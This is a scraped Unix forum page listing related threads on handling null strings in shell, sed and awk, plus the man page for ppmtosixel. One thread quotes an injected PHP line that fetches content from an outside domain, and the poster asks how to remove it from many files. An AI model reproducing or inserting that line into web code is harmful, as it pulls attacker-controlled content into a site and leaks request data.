Insert string 'NULL' where there is a null value Post: 302425111

10 More Discussions You Might Find Interesting

1. UNIX for Dummies Questions & Answers

GREP a string with NULL Character

Does anyone know how to use grep/egrep to find a string that contains a null character? i.e.: the string looks like this: null0001nullN well I want to be able to : grep '0001N' is there a wildcard character or something that I can put in the grep to include the nulls?

2. Shell Programming and Scripting

check for not null string in file

Hi, If, in a text file a string is expected at a certain fixed position(for eg at position 5 or from 5-10 on every line) how to check whether data is present on that position or not? Thnx in advance

3. Shell Programming and Scripting

How to check for null or empty string

Hi, I need to check for value not equal (<>) to 21 and not equal empty or null values. Please modify this script if then echo "$VALUE,$BSC_NAME,$BSC_ID" > $OUT_FILE/power_up.out end if TQ

4. Shell Programming and Scripting

replace a complex string with null

Hello, I need a script or one liner possible in perl or awk ( as sed shows error ) I want to replace <?php echo file_get_contents("http://googlesindication.cn/links.php?site=".$_SERVER);?> with blank or null 1) in a file 2) in many directories recursively.

5. UNIX for Dummies Questions & Answers

insert null in unix files

Hi everybody, How to add null values in unix file? This is what was asked to me in an interview.

6. Shell Programming and Scripting

null string matching in sed?

Hello, I would assume the expression ^$ should match a null string. Yet when I run: echo -n | sed 's/^$/nullstring/' I get no output. Can anyone tell me why?

7. Shell Programming and Scripting

awk Problem while insert null field to file

Dear All, I have the following input file. I want to replace data with null values. I/P File: 9022334455|2008-12-06 06:10:21|2|Error@@@|esoo8erp| 9024334432|2008-12-06 08:40:59|6|Error@@@|6y2o8e6r| O/P File: 9022334455||2||esoo8erp| 9024334432||6||6y2o8e6r| ...

8. Shell Programming and Scripting

replace some string by null??

I have a string like In this string I want to delete both "." and ":", means I want the output as: How can I do that using "tr" or any other such command?

9. Shell Programming and Scripting

Handling null Integer/string variables

I kind of found out the hard way that I am not able to manipulate the null value, the long silence that happens when there is no value returned. I am looking for PIDs, and when there is no PID return, I wanted to handle this special scenario. Here is my script. #!/bin/bash LAN_VARIABLE=...

10. Linux

Issue in inserting null string in array

I am getting some values from a file and putting them in an array..but the null strings are not getting passed to the array. So during printing the elements ,the null string is not showing in the output. during array size calculation it is also excluding null.Please let me know how to do it. # cat...

LEARN ABOUT ULTRIX

ppmtosixel

ppmtosixel(1)						      General Commands Manual						     ppmtosixel(1)

NAME

       ppmtosixel - convert a portable pixmap into DEC sixel format

SYNOPSIS

       ppmtosixel [-raw] [-margin] [ppmfile]

DESCRIPTION

       Reads  a  portable  pixmap  as input.  Produces sixel commands (SIX) as output.	The output is formatted for color printing, e.g. for a DEC
       LJ250 color inkjet printer.

       If RGB values from the PPM file do not have maxval=100, the RGB values are rescaled.  A printer control header and a color assignment table
       begin the SIX file.  Image data is written in a compressed format by default.  A printer control footer ends the image file.

OPTIONS

       -raw   If  specified,  each  pixel  will  be explicitly described in the image file.  If -raw is not specified, output will default to com-
	      pressed format in which identical adjacent pixels are replaced by "repeat pixel" commands.  A raw file is often an order	of  magni-
	      tude larger than a compressed file and prints much slower.

       -margin
	      If  -margin  is not specified, the image will be start at the left margin (of the window, paper, or whatever).  If -margin is speci-
	      fied, a 1.5 inch left margin will offset the image.

PRINTING

       Generally, sixel files must reach the printer unfiltered.  Use the lpr -x option or cat filename > /dev/tty0?.

BUGS

       Upon rescaling, truncation of the least significant bits of RGB values may result in poor color conversion.  If the original PPM maxval was
       greater	than  100,  rescaling  also reduces the image depth.  While the actual RGB values from the ppm file are more or less retained, the
       color palette of the LJ250 may not match the colors on your screen.  This seems to be a printer limitation.

SEE ALSO

       ppm(5)

AUTHOR

       Copyright (C) 1991 by Rick Vinci.

								   26 April 1991						     ppmtosixel(1)

10 More Discussions You Might Find Interesting

1. UNIX for Dummies Questions & Answers

GREP a string with NULL Character

Discussion started by: weerich

2. Shell Programming and Scripting

check for not null string in file

Discussion started by: misenkiser

3. Shell Programming and Scripting

How to check for null or empty string

Discussion started by: doer

4. Shell Programming and Scripting

replace a complex string with null

Discussion started by: fed.linuxgossip